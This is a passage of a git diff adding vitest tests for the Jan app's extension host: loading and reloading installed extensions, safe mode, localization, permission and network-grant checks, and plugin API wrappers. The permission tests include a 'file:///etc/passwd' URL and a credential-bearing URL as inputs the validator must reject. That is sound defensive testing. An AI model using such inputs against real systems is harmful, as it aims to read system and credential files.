expect(latestVersion([v('0.9.0'), v('0.10.0'), v('0.2.1')])?.version).toBe(+ '0.10.0'+ )+ })++ it('ranks a release above its prerelease', () => {+ expect(latestVersion([v('1.0.0'), v('1.0.0-beta.1')])?.version).toBe(+ '1.0.0'+ )+ })++ it('is undefined for no versions', () => {+ expect(latestVersion([])).toBeUndefined()+ })+})diff --git a/web-app/src/lib/extensions/__tests__/installed-loader.test.ts b/web-app/src/lib/extensions/__tests__/installed-loader.test.tsnew file mode 100644index 000000000..f299fd562--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/installed-loader.test.ts@@ -0,0 +1,446 @@+// The installed loader against a mocked guest-js registry and the real+// host, with workers in the node:vm sandbox.+import { afterEach, describe, expect, it, vi } from 'vitest'+import type { PermissionString } from '@janhq/extension-api'+import {+ runInSandbox,+ type SandboxWorker,+} from '@janhq/extension-runtime/testing'+import type {+ InstalledExtension,+ ListResult,+} from '@janhq/tauri-plugin-extensions-api'+import { ExtensionHost } from '../host'+import { applySafeMode, type InstalledRegistry } from '../installed-loader'+import { builtin, manifest } from './fixtures'+import { memoryAppSettings, memorySecrets } from './memory'++// Registers a command, so the test can see it ran.+const BUNDLE = `var JanExtension = { activate: function (ctx) {+ ctx.subscriptions.add(ctx.commands.registerCommand('hello', function () { return 'hi' }));+} };`++function entry(+ id: string,+ extra: Partial<InstalledExtension> & {+ permissions?: PermissionString[]+ apiVersion?: string+ } = {}+): InstalledExtension {+ const { apiVersion = '^1.0.0', permissions = ['ui:notify'], ...rest } = extra+ const { name, version, ...jan } = manifest(id, {+ apiVersion,+ permissions,+ contributes: { commands: [{ id: 'hello', title: 'Hello' }] },+ })+ return {+ id,+ version,+ previous: null,+ enabled: true,+ granted: [...permissions],+ permissions: [...permissions],+ source: { kind: 'bundle', fileName: `${id}.tgz`, sha512: 'sha512-x' },+ verified: false,+ integrityChecked: false,+ installedAt: '2026-10-23T10:00:00Z',+ // package.json as read_entry's install wrote it.+ manifest: { name, version, jan },+ ...rest,+ }+}++function fakeRegistry(extensions: InstalledExtension[], safeMode = false) {+ const state = { safeMode, extensions }+ const registry = {+ list: vi.fn<InstalledRegistry['list']>(+ async (): Promise<ListResult> => ({+ safeMode: state.safeMode,+ safeModeForced: false,+ recoveredFrom: null,+ extensions: state.extensions.map((e) => ({ ...e })),+ })+ ),+ readEntry: vi.fn<InstalledRegistry['readEntry']>(async (id) => {+ const found = state.extensions.find((e) => e.id === id)+ if (!found?.enabled || state.safeMode)+ throw { kind: 'denied', message: `${id} may not run` }+ if (id === 'acme.tampered')+ throw { kind: 'tampered', message: 'the entry file changed' }+ return { code: BUNDLE, sha512: 'sha512-entry' }+ }),+ } satisfies InstalledRegistry+ return { state, registry }+}++const workers: SandboxWorker[] = []+const hosts: ExtensionHost[] = []++afterEach(async () => {+ for (const host of hosts.splice(0)) await host.deactivateAll()+ workers.splice(0)+ vi.restoreAllMocks()+})++function newHost(installed: InstalledRegistry) {+ const host = new ExtensionHost({+ appSettings: memoryAppSettings(),+ secrets: memorySecrets(),+ notify: vi.fn(),+ installed,+ createWorker: (source, name) => {+ const worker = runInSandbox(source, { name })+ workers.push(worker)+ return worker+ },+ })+ hosts.push(host)+ return host+}++const states = (host: ExtensionHost) =>+ Object.fromEntries(host.list().map((e) => [e.id, [e.source, e.state]]))++describe('loadInstalled', () => {+ it('starts every enabled extension in a worker with its grants', async () => {+ const { registry } = fakeRegistry([+ entry('acme.one'),+ entry('acme.two', { permissions: ['ui:notify', 'tools'], granted: ['tools'] }),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(states(host)).toEqual({+ 'acme.one': ['installed', 'active'],+ 'acme.two': ['installed', 'active'],+ })+ expect(host.dispatcher.has('acme.two', 'tools')).toBe(true)+ expect(host.dispatcher.has('acme.two', 'ui:notify')).toBe(false)+ await expect(+ host.contributions.executeCommand('acme.one', 'hello', {+ location: 'commandPalette',+ })+ ).resolves.toBe('hi')+ })++ it('spawns nothing in safe mode', async () => {+ const { registry } = fakeRegistry([entry('acme.one')], true)+ const host = newHost(registry)+ await host.loadInstalled()+ expect(registry.readEntry).not.toHaveBeenCalled()+ expect(workers).toHaveLength(0)+ expect(host.list()).toEqual([])+ })++ it('does not load a disabled extension', async () => {+ const { registry } = fakeRegistry([+ entry('acme.off', { enabled: false }),+ entry('acme.on'),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(registry.readEntry).toHaveBeenCalledTimes(1)+ expect(registry.readEntry).toHaveBeenCalledWith('acme.on')+ expect(states(host)).toEqual({ 'acme.on': ['installed', 'active'] })+ })++ it('marks an incompatible apiVersion failed without spawning, and loads the rest', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { registry } = fakeRegistry([+ entry('acme.future', { apiVersion: '^9.0.0' }),+ entry('acme.ok'),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.list().find((e) => e.id === 'acme.future')).toMatchObject({+ source: 'installed',+ state: 'failed',+ error: expect.stringContaining('^9.0.0'),+ })+ expect(workers).toHaveLength(1)+ expect(states(host)['acme.ok']).toEqual(['installed', 'active'])+ })++ it('marks an extension whose entry Rust refuses failed with the reason', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { registry } = fakeRegistry([entry('acme.tampered'), entry('acme.ok')])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.list().find((e) => e.id === 'acme.tampered')).toMatchObject({+ state: 'failed',+ error: 'the entry file changed',+ })+ expect(states(host)['acme.ok']).toEqual(['installed', 'active'])+ })++ it('marks a manifest the host refuses, or files of another version, failed and loads the rest', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { registry } = fakeRegistry([+ entry('acme.bad', { manifest: { name: 'x' } }),+ entry('acme.moved', { version: '2.0.0' }),+ entry('acme.ok'),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(registry.readEntry).toHaveBeenCalledTimes(1)+ expect(states(host)).toEqual({+ 'acme.bad': ['installed', 'failed'],+ 'acme.moved': ['installed', 'failed'],+ 'acme.ok': ['installed', 'active'],+ })+ expect(host.list().find((e) => e.id === 'acme.moved')).toMatchObject({+ manifest: { id: 'acme.moved', version: '2.0.0', displayName: 'acme.moved' },+ error: expect.stringContaining('the registry names [email protected]'),+ })+ expect(host.list().find((e) => e.id === 'acme.bad')?.error).toMatch(/jan/)+ })++ it('reads the entries of all extensions at once rather than one by one', async () => {+ const { registry } = fakeRegistry([entry('acme.one'), entry('acme.two')])+ const release: (() => void)[] = []+ const read = registry.readEntry.getMockImplementation()!+ registry.readEntry.mockImplementation(async (id) => {+ await new Promise<void>((resolve) => release.push(resolve))+ return read(id)+ })+ const host = newHost(registry)+ const loading = host.loadInstalled()+ await vi.waitFor(() => expect(registry.readEntry).toHaveBeenCalledTimes(2))+ for (const r of release) r()+ await loading+ expect(states(host)).toEqual({+ 'acme.one': ['installed', 'active'],+ 'acme.two': ['installed', 'active'],+ })+ })++ it('leaves a built-in or development copy of the same id alone', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { registry } = fakeRegistry([entry('acme.dev')])+ const host = newHost(registry)+ await host.spawnWorkerExtension({+ manifest: manifest('acme.dev', {+ contributes: { commands: [{ id: 'hello', title: 'Hello' }] },+ }),+ bundle: BUNDLE,+ grants: [],+ source: 'dev',+ })+ await host.loadInstalled()+ expect(states(host)).toEqual({ 'acme.dev': ['dev', 'active'] })+ await host.reload('acme.dev')+ expect(states(host)).toEqual({ 'acme.dev': ['dev', 'active'] })+ expect(registry.readEntry).not.toHaveBeenCalled()+ })+})++describe('ExtensionHost.reload', () => {+ it('respawns with the new grants after a revoke', async () => {+ const { state, registry } = fakeRegistry([+ entry('acme.one', { permissions: ['ui:notify', 'tools'] }),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.dispatcher.has('acme.one', 'tools')).toBe(true)+ const first = workers[0]++ state.extensions[0].granted = ['ui:notify']+ await host.reload('acme.one')++ expect(first.terminated).toBe(true)+ expect(workers).toHaveLength(2)+ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ expect(host.dispatcher.has('acme.one', 'tools')).toBe(false)+ expect(host.dispatcher.has('acme.one', 'ui:notify')).toBe(true)+ })++ it('ends with the latest grants when two reloads overlap', async () => {+ const { state, registry } = fakeRegistry([+ entry('acme.one', { permissions: ['ui:notify', 'tools'] }),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ // Each read of the entry waits for its own gate, so the first reload+ // has read the old grants when the second one starts.+ const gates: (() => void)[] = []+ const opened = [0, 1].map(+ () => new Promise<void>((resolve) => gates.push(resolve))+ )+ const read = registry.readEntry.getMockImplementation()!+ let reads = 0+ registry.readEntry.mockImplementation(async (id) => {+ await opened[reads++]+ return read(id)+ })++ const first = host.reload('acme.one')+ await vi.waitFor(() => expect(reads).toBe(1))+ state.extensions[0].granted = ['ui:notify']+ const second = host.reload('acme.one')+ gates[0]()+ gates[1]()+ await Promise.all([first, second])++ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ expect(host.dispatcher.has('acme.one', 'tools')).toBe(false)+ expect(host.dispatcher.has('acme.one', 'ui:notify')).toBe(true)+ })++ it('stops a disabled or uninstalled extension and drops it from the list', async () => {+ const { state, registry } = fakeRegistry([entry('acme.one'), entry('acme.two')])+ const host = newHost(registry)+ await host.loadInstalled()++ state.extensions[0].enabled = false+ await host.reload('acme.one')+ state.extensions = state.extensions.filter((e) => e.id !== 'acme.two')+ await host.reload('acme.two')++ expect(workers.every((w) => w.terminated)).toBe(true)+ expect(host.list()).toEqual([])+ expect(host.contributions.getState().commands['acme.one']).toBeUndefined()+ })++ it('starts an extension that was just installed or enabled', async () => {+ const { state, registry } = fakeRegistry([entry('acme.one', { enabled: false })])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.list()).toEqual([])+ state.extensions[0].enabled = true+ await host.reload('acme.one')+ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ expect(registry.readEntry).toHaveBeenCalledWith('acme.one')+ })++ it('retries a failed extension', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { state, registry } = fakeRegistry([+ entry('acme.one', { apiVersion: '^9.0.0' }),+ ])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(states(host)).toEqual({ 'acme.one': ['installed', 'failed'] })+ state.extensions[0] = entry('acme.one')+ await host.reload('acme.one')+ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ })+})++describe('applySafeMode', () => {+ // The service the settings page and the crash-loop guard hand in: it+ // persists the flag the registry then reports.+ const service = (state: { safeMode: boolean }, registry: InstalledRegistry) => ({+ setSafeMode: vi.fn(async (on: boolean) => {+ state.safeMode = on+ }),+ list: () => registry.list(),+ })++ it('turning it on stops every running installed extension and drops its contributions', async () => {+ const { state, registry } = fakeRegistry([entry('acme.one'), entry('acme.two')])+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.contributions.getState().commands['acme.one']).toBeDefined()++ const svc = service(state, registry)+ await applySafeMode(host, svc, true)++ expect(svc.setSafeMode).toHaveBeenCalledWith(true)+ expect(workers.every((w) => w.terminated)).toBe(true)+ expect(host.list()).toEqual([])+ expect(host.contributions.getState().commands['acme.one']).toBeUndefined()+ expect(host.dispatcher.has('acme.one', 'ui:notify')).toBe(false)+ })++ it('turning it off starts the enabled installed extensions as at startup', async () => {+ const { state, registry } = fakeRegistry(+ [entry('acme.one'), entry('acme.off', { enabled: false })],+ true+ )+ const host = newHost(registry)+ await host.loadInstalled()+ expect(host.list()).toEqual([])++ await applySafeMode(host, service(state, registry), false)++ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ await expect(+ host.contributions.executeCommand('acme.one', 'hello', {+ location: 'commandPalette',+ })+ ).resolves.toBe('hi')+ })++ it('changes nothing that runs when the flag cannot be saved', async () => {+ const { state, registry } = fakeRegistry([entry('acme.one')])+ const host = newHost(registry)+ await host.loadInstalled()+ const svc = service(state, registry)+ svc.setSafeMode.mockRejectedValue(new Error('registry I/O'))++ await expect(applySafeMode(host, svc, true)).rejects.toThrow('registry I/O')+ expect(states(host)).toEqual({ 'acme.one': ['installed', 'active'] })+ })++ it('leaves built-ins and development copies running', async () => {+ const { state, registry } = fakeRegistry([entry('acme.one')])+ const host = newHost(registry)+ await host.activateBuiltins([+ builtin(manifest('jan.core'), { activate: () => undefined }),+ ])+ await host.spawnWorkerExtension({+ manifest: manifest('acme.dev', {+ contributes: { commands: [{ id: 'hello', title: 'Hello' }] },+ }),+ bundle: BUNDLE,+ grants: [],+ source: 'dev',+ })+ await host.loadInstalled()++ await applySafeMode(host, service(state, registry), true)++ expect(states(host)).toEqual({+ 'jan.core': ['builtin', 'active'],+ 'acme.dev': ['dev', 'active'],+ })+ })++ it('still stops what runs when the registry cannot be read', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { state, registry } = fakeRegistry([entry('acme.one')])+ const host = newHost(registry)+ await host.loadInstalled()+ registry.list.mockRejectedValue(new Error('registry gone'))+ const svc = service(state, registry)++ await applySafeMode(host, svc, true)++ expect(host.list()).toEqual([])+ })++ it('also stops an extension whose start was still in flight', async () => {+ vi.spyOn(console, 'error').mockImplementation(() => {})+ const { state, registry } = fakeRegistry([entry('acme.one')])+ const host = newHost(registry)+ // The start has read the registry before safe mode went on, and is+ // still reading the entry, so the host does not hold it yet.+ let open = () => {}+ const gate = new Promise<void>((resolve) => (open = resolve))+ const read = registry.readEntry.getMockImplementation()!+ let reads = 0+ registry.readEntry.mockImplementation(async (id) => {+ reads += 1+ await gate+ return read(id)+ })+ const loading = host.loadInstalled()+ await vi.waitFor(() => expect(reads).toBe(1))++ const applied = applySafeMode(host, service(state, registry), true)+ open()+ await Promise.all([loading, applied])++ expect(host.list()).toEqual([])+ expect(workers.every((w) => w.terminated)).toBe(true)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/installed-reload.test.ts b/web-app/src/lib/extensions/__tests__/installed-reload.test.tsnew file mode 100644index 000000000..6372323ba--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/installed-reload.test.ts@@ -0,0 +1,13 @@+import { describe, expect, it, vi } from 'vitest'++const host = vi.hoisted(() => ({ reload: vi.fn(async () => undefined) }))+vi.mock('../host', () => ({ getExtensionHost: () => host }))++import { reloadInstalled } from '../installed-reload'++describe('reloadInstalled', () => {+ it('respawns the extension from the registry', async () => {+ await reloadInstalled('acme.hello')+ expect(host.reload).toHaveBeenCalledWith('acme.hello')+ })+})diff --git a/web-app/src/lib/extensions/__tests__/l10n.test.ts b/web-app/src/lib/extensions/__tests__/l10n.test.tsnew file mode 100644index 000000000..3e5ea1b6b--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/l10n.test.ts@@ -0,0 +1,55 @@+import { afterEach, describe, expect, it } from 'vitest'+import { act, renderHook } from '@testing-library/react'+import { useGeneralSetting } from '@/hooks/useGeneralSetting'+import { localize, resolveL10n, useLocalize } from '../l10n'++const l10n = {+ en: { 'greet.title': 'Say hello', 'only.en': 'English only' },+ ja: { 'greet.title': 'Konnichiwa' },+ de: { 'greet.title': 'Hallo sagen' },+}++afterEach(() => useGeneralSetting.setState({ currentLanguage: 'en' }))++describe('resolveL10n', () => {+ it('resolves a %key% in the given language', () => {+ expect(resolveL10n(l10n, '%greet.title%', 'ja')).toBe('Konnichiwa')+ })++ it('falls back to the base language of a regional one', () => {+ expect(resolveL10n(l10n, '%greet.title%', 'de-DE')).toBe('Hallo sagen')+ })++ it('falls back to en, then to the raw string', () => {+ expect(resolveL10n(l10n, '%only.en%', 'ja')).toBe('English only')+ expect(resolveL10n(l10n, '%missing%', 'ja')).toBe('%missing%')+ expect(resolveL10n(undefined, '%greet.title%', 'ja')).toBe('%greet.title%')+ })++ it('leaves literals alone, including ones that only contain a %key%', () => {+ expect(resolveL10n(l10n, 'Say hello', 'ja')).toBe('Say hello')+ expect(resolveL10n(l10n, 'x %greet.title%', 'ja')).toBe('x %greet.title%')+ })++ it('never finds what a table inherits', () => {+ expect(resolveL10n(l10n, '%constructor%', 'en')).toBe('%constructor%')+ expect(resolveL10n(l10n, '%greet.title%', 'constructor')).toBe('Say hello')+ })+})++describe('localize', () => {+ it('resolves in the current app language', () => {+ useGeneralSetting.setState({ currentLanguage: 'ja' })+ expect(localize({ l10n }, '%greet.title%')).toBe('Konnichiwa')+ expect(localize(undefined, '%greet.title%')).toBe('%greet.title%')+ })+})++describe('useLocalize', () => {+ it('re-renders with the new language when it changes', () => {+ const { result } = renderHook(() => useLocalize())+ expect(result.current({ l10n }, '%greet.title%')).toBe('Say hello')+ act(() => useGeneralSetting.getState().setCurrentLanguage('ja'))+ expect(result.current({ l10n }, '%greet.title%')).toBe('Konnichiwa')+ })+})diff --git a/web-app/src/lib/extensions/__tests__/memory.ts b/web-app/src/lib/extensions/__tests__/memory.tsnew file mode 100644index 000000000..de5fae289--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/memory.ts@@ -0,0 +1,25 @@+import type { AppSettingsBackend, SecretBackend } from '../settings-store'++/** An in-memory `appSettings` that also exposes its raw data to assertions. */+export function memoryAppSettings(): AppSettingsBackend & {+ data: Map<string, string>+} {+ const data = new Map<string, string>()+ return {+ data,+ get: async (key) => data.get(key) ?? null,+ set: async (key, value) => void data.set(key, value),+ }+}++export function memorySecrets(): SecretBackend & { data: Map<string, string> } {+ const data = new Map<string, string>()+ return {+ data,+ get: async (key) => data.get(key) ?? null,+ set: async (key, value) => {+ if (value === '') data.delete(key)+ else data.set(key, value)+ },+ }+}diff --git a/web-app/src/lib/extensions/__tests__/permissions.test.ts b/web-app/src/lib/extensions/__tests__/permissions.test.tsnew file mode 100644index 000000000..425671714--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/permissions.test.ts@@ -0,0 +1,126 @@+import { describe, expect, it } from 'vitest'+import en from '@/locales/en/extensions.json'+import {+ PERMISSIONS,+ diffPermissions,+ reachesLocalApiServer,+ matchesNetwork,+ parsePermission,+ riskOf,+} from '../permissions'++const resolve = (key: string): unknown =>+ key+ .replace(/^extensions:/, '')+ .split('.')+ .reduce<unknown>(+ (node, part) =>+ node && typeof node === 'object'+ ? (node as Record<string, unknown>)[part]+ : undefined,+ en+ )++describe('PERMISSIONS', () => {+ it('has an English title and description for every kind', () => {+ for (const [kind, info] of Object.entries(PERMISSIONS)) {+ expect(typeof resolve(info.titleKey), kind).toBe('string')+ expect(typeof resolve(info.descriptionKey), kind).toBe('string')+ }+ })++ it('rates a wildcard network grant higher than a single host', () => {+ expect(riskOf('network:api.acme.dev')).toBe('medium')+ expect(riskOf('network:*')).toBe('high')+ expect(riskOf('ui:notify')).toBe('low')+ expect(riskOf('tools')).toBe('high')+ })+})++describe('parsePermission', () => {+ it('splits network grants into their host', () => {+ expect(parsePermission('network:*.acme.dev')).toEqual({+ kind: 'network',+ host: '*.acme.dev',+ })+ expect(parsePermission('tools')).toEqual({ kind: 'tools' })+ })++ it('rejects anything that is not a permission', () => {+ expect(parsePermission('network:')).toBeUndefined()+ expect(parsePermission('network:https://x.dev')).toBeUndefined()+ expect(parsePermission('root')).toBeUndefined()+ })+})++describe('matchesNetwork', () => {+ it('matches an exact host over https', () => {+ expect(matchesNetwork('network:api.acme.dev', 'https://api.acme.dev/v1')).toBe(true)+ expect(matchesNetwork('network:api.acme.dev', 'https://acme.dev/')).toBe(false)+ })++ it('matches subdomains of a wildcard, not its apex', () => {+ expect(matchesNetwork('network:*.example.com', 'https://a.example.com/')).toBe(true)+ expect(matchesNetwork('network:*.example.com', 'https://a.b.example.com/')).toBe(true)+ expect(matchesNetwork('network:*.example.com', 'https://example.com/')).toBe(false)+ expect(matchesNetwork('network:*.example.com', 'https://badexample.com/')).toBe(false)+ })++ it('rejects http except for local hosts', () => {+ expect(matchesNetwork('network:api.acme.dev', 'http://api.acme.dev/')).toBe(false)+ expect(matchesNetwork('network:*', 'http://example.com/')).toBe(false)+ expect(matchesNetwork('network:127.0.0.1', 'http://127.0.0.1:11999/v1')).toBe(true)+ expect(matchesNetwork('network:localhost', 'http://localhost/')).toBe(true)+ })++ it('rejects other schemes, credentials and garbage', () => {+ expect(matchesNetwork('network:*', 'ftp://example.com/')).toBe(false)+ expect(matchesNetwork('network:*', 'file:///etc/passwd')).toBe(false)+ expect(matchesNetwork('network:*', 'https://user:[email protected]/')).toBe(false)+ expect(matchesNetwork('network:*', 'not a url')).toBe(false)+ expect(matchesNetwork('tools', 'https://example.com/')).toBe(false)+ })+})++describe('matchesNetwork and the local API server', () => {+ it("never reaches Jan's own API server port, whatever the grant", () => {+ for (const [grant, host] of [+ ['network:*', '127.0.0.1'],+ ['network:*', 'localhost'],+ ['network:localhost', 'localhost'],+ ['network:127.0.0.1', '127.0.0.1'],+ ] as const) {+ expect(matchesNetwork(grant, `http://${host}:1337/v1/chat`, 1337)).toBe(false)+ expect(matchesNetwork(grant, `https://${host}:1337/`, 1337)).toBe(false)+ // Another port of the same host stays reachable.+ expect(matchesNetwork(grant, `http://${host}:11999/v1`, 1337)).toBe(true)+ }+ // A remote host on the same port is not the local server.+ expect(matchesNetwork('network:*', 'https://example.com:1337/', 1337)).toBe(true)+ // Default ports count: the server may run on 80.+ expect(matchesNetwork('network:localhost', 'http://localhost/', 80)).toBe(false)+ })++ it('flags grants that can reach a local server', () => {+ expect(reachesLocalApiServer('network:*')).toBe(true)+ expect(reachesLocalApiServer('network:localhost')).toBe(true)+ expect(reachesLocalApiServer('network:127.0.0.1')).toBe(true)+ expect(reachesLocalApiServer('network:api.acme.dev')).toBe(false)+ expect(reachesLocalApiServer('tools')).toBe(false)+ })+})++describe('diffPermissions', () => {+ it('lists what an update adds and removes, ignoring order', () => {+ expect(+ diffPermissions(+ ['tools', 'network:a.dev', 'ui:notify'],+ ['ui:notify', 'network:b.dev', 'tools']+ )+ ).toEqual({ added: ['network:b.dev'], removed: ['network:a.dev'] })+ expect(diffPermissions(['tools'], ['tools'])).toEqual({+ added: [],+ removed: [],+ })+ })+})diff --git a/web-app/src/lib/extensions/__tests__/plugin-api.test.ts b/web-app/src/lib/extensions/__tests__/plugin-api.test.tsnew file mode 100644index 000000000..64090d2c5--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/plugin-api.test.ts@@ -0,0 +1,110 @@+/**+ * The guest-js of tauri-plugin-extensions against its Rust side: every+ * command in build.rs has a wrapper that sends the argument names the+ * command takes, and the host API version compiled into the plugin's+ * manifest validator is the one `@janhq/extension-api` ships.+ */+import { describe, it, expect, vi, beforeEach } from 'vitest'+import { readFileSync } from 'node:fs'+import { join } from 'node:path'+import { API_VERSION } from '@janhq/extension-api'++const invoke = vi.fn()+const channels: { onmessage?: (e: unknown) => void }[] = []++vi.mock('@tauri-apps/api/core', () => ({+ invoke: (...args: unknown[]) => invoke(...args),+ Channel: class {+ onmessage?: (e: unknown) => void+ constructor() {+ channels.push(this)+ }+ },+}))++import * as api from '@janhq/tauri-plugin-extensions-api'++const PLUGIN_DIR = join(+ __dirname,+ '..',+ '..',+ '..',+ '..',+ '..',+ 'src-tauri',+ 'plugins',+ 'tauri-plugin-extensions'+)++const COMMANDS = [+ ...readFileSync(join(PLUGIN_DIR, 'build.rs'), 'utf8').matchAll(/"([a-z_]+)"/g),+].map((m) => m[1])++describe('@janhq/tauri-plugin-extensions-api', () => {+ beforeEach(() => {+ invoke.mockReset()+ invoke.mockResolvedValue(undefined)+ channels.length = 0+ })++ it('wraps every command with the arguments the Rust side takes', async () => {+ const req = { url: 'https://api.example.com/' }+ const calls: [() => Promise<unknown>, string, Record<string, unknown> | undefined][] = [+ [() => api.stageBundle('/x.tgz'), 'stage_bundle', { path: '/x.tgz' }],+ [() => api.confirmInstall('s', ['ui:notify']), 'confirm_install', { stageId: 's', granted: ['ui:notify'] }],+ [() => api.discardStage('s'), 'discard_stage', { stageId: 's' }],+ [() => api.list(), 'list', undefined],+ [() => api.setEnabled('a.bc', false), 'set_enabled', { id: 'a.bc', enabled: false }],+ [() => api.setGrants('a.bc', []), 'set_grants', { id: 'a.bc', granted: [] }],+ [() => api.uninstall('a.bc'), 'uninstall', { id: 'a.bc' }],+ [() => api.rollback('a.bc'), 'rollback', { id: 'a.bc' }],+ [() => api.readEntry('a.bc'), 'read_entry', { id: 'a.bc' }],+ [() => api.setSafeMode(true), 'set_safe_mode', { on: true }],+ [() => api.httpFetch('a.bc', req, 'r1'), 'http_fetch', { id: 'a.bc', req, requestId: 'r1' }],+ [() => api.httpCancel('a.bc', 'r1'), 'http_cancel', { id: 'a.bc', requestId: 'r1' }],+ [() => api.listSources(), 'list_sources', undefined],+ [() => api.addSource('https://i.example.com/i.json', 'I', 'k'), 'add_source', { url: 'https://i.example.com/i.json', name: 'I', publicKey: 'k' }],+ [() => api.removeSource('s1'), 'remove_source', { id: 's1' }],+ [() => api.getCatalog('s1'), 'get_catalog', { sourceId: 's1' }],+ [() => api.acceptNextKey('s1', 'k2'), 'accept_next_key', { sourceId: 's1', nextPublicKey: 'k2' }],+ [() => api.stageFromIndex('s1', 'a.bc', '0.1.0'), 'stage_from_index', { sourceId: 's1', id: 'a.bc', version: '0.1.0' }],+ ]+ for (const [call, command, args] of calls) {+ invoke.mockClear()+ await call()+ const sent = args === undefined ? [`plugin:extensions|${command}`] : [`plugin:extensions|${command}`, args]+ expect(invoke).toHaveBeenCalledWith(...sent)+ }+ const covered = new Set([...calls.map(([, c]) => c), 'http_fetch_stream'])+ expect([...COMMANDS].sort()).toEqual([...covered].sort())+ })++ it('streams through a channel', async () => {+ const events: unknown[] = []+ invoke.mockImplementation(async () => {+ channels[0].onmessage?.({ event: 'head', status: 200, headers: {} })+ channels[0].onmessage?.({ event: 'end' })+ return 200+ })+ const req = { url: 'https://api.example.com/', method: 'POST' as const }+ const status = await api.httpFetchStream('a.bc', 'r1', req, (e) => events.push(e))+ expect(status).toBe(200)+ expect(invoke).toHaveBeenCalledWith('plugin:extensions|http_fetch_stream', {+ id: 'a.bc',+ requestId: 'r1',+ req,+ onEvent: channels[0],+ })+ expect(events).toEqual([{ event: 'head', status: 200, headers: {} }, { event: 'end' }])+ })++ it('compiles the host API version @janhq/extension-api ships', () => {+ const manifest = readFileSync(join(PLUGIN_DIR, 'src', 'manifest.rs'), 'utf8')+ const host = /pub const HOST_API_VERSION: &str = "([^"]+)";/.exec(manifest)?.[1]+ const pkg = JSON.parse(+ readFileSync(join(__dirname, '..', '..', '..', '..', '..', 'packages', 'extension-api', 'package.json'), 'utf8')+ ) as { version: string }+ expect(host).toBe(API_VERSION)+ expect(host).toBe(pkg.version)+ })+})diff --git a/web-app/src/lib/extensions/__tests__/providers.test.ts b/web-app/src/lib/extensions/__tests__/providers.test.tsnew file mode 100644index 000000000..c385d278f--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/providers.test.ts@@ -0,0 +1,78 @@+import { describe, expect, it } from 'vitest'+import type { ContributionState } from '../contributions'+import { listExtensionProviders, toModelProvider } from '../providers'++const state = (): ContributionState => ({+ extensions: { 'acme.llm': { displayName: 'Acme LLM' } },+ commands: {},+ menus: {},+ statusItems: {},+ settings: {},+ tools: {},+ providers: {+ 'acme.llm': {+ local: {+ id: 'local',+ displayName: 'Acme Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ handler: {},+ },+ },+ },+})++describe('extension providers', () => {+ it('lists a bound provider with its extension display name', () => {+ expect(listExtensionProviders(state())).toEqual([+ {+ extensionId: 'acme.llm',+ extensionName: 'Acme LLM',+ contribution: {+ id: 'local',+ displayName: 'Acme Local',+ baseUrl: 'http://127.0.0.1:11999/v1',+ },+ },+ ])+ })++ it('gives a model only completion when nothing is declared', () => {+ const [active] = listExtensionProviders(state())+ const provider = toModelProvider(active, [{ id: 'm1' }], undefined)+ expect(provider.models.map((m) => m.capabilities)).toEqual([['completion']])+ })++ it('gives models the capabilities their provider declares', () => {+ const s = state()+ s.providers['acme.llm'].local.capabilities = ['completion', 'tools']+ const [active] = listExtensionProviders(s)+ const provider = toModelProvider(active, [{ id: 'm1' }], undefined)+ expect(provider.models[0].capabilities).toEqual(['completion', 'tools'])+ })++ it('lets a listed model override its provider capabilities', () => {+ const s = state()+ s.providers['acme.llm'].local.capabilities = ['completion', 'tools']+ const [active] = listExtensionProviders(s)+ const provider = toModelProvider(+ active,+ [{ id: 'm1' }, { id: 'e1', capabilities: ['embeddings'] }],+ undefined+ )+ expect(provider.models.map((m) => m.capabilities)).toEqual([+ ['completion', 'tools'],+ ['embeddings'],+ ])+ })++ it('maps to a provider carrying its display name and owning extension', () => {+ const [active] = listExtensionProviders(state())+ const provider = toModelProvider(active, [{ id: 'm1' }], undefined)+ expect(provider.provider).toBe('acme.llm/local')+ expect(provider.display_name).toBe('Acme Local')+ expect(provider.source).toEqual({+ extensionId: 'acme.llm',+ extensionName: 'Acme LLM',+ })+ })+})diff --git a/web-app/src/lib/extensions/__tests__/sample.integration.test.ts b/web-app/src/lib/extensions/__tests__/sample.integration.test.tsnew file mode 100644index 000000000..3c2a68924--- /dev/null+++ b/web-app/src/lib/extensions/__tests__/sample.integration.test.ts@@ -0,0 +1,228 @@+// The built hello-provider sample (extensions-samples/hello-provider, built+// by vitest.global-setup.mjs) through the same path the app runs: the real+// ExtensionHost composes it with the real prelude, and every call it makes+// goes through the real dispatcher into the real contribution and settings+// stores. Only the Worker is swapped for the node:vm sandbox, and the+// plugin's network commands, keyring and toasts for fakes.+import { readFileSync } from 'node:fs'+import { join, resolve } from 'node:path'+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'+import { validateManifest, type ValidatedManifest } from '@janhq/extension-api'+import {+ runInSandbox,+ type SandboxWorker,+} from 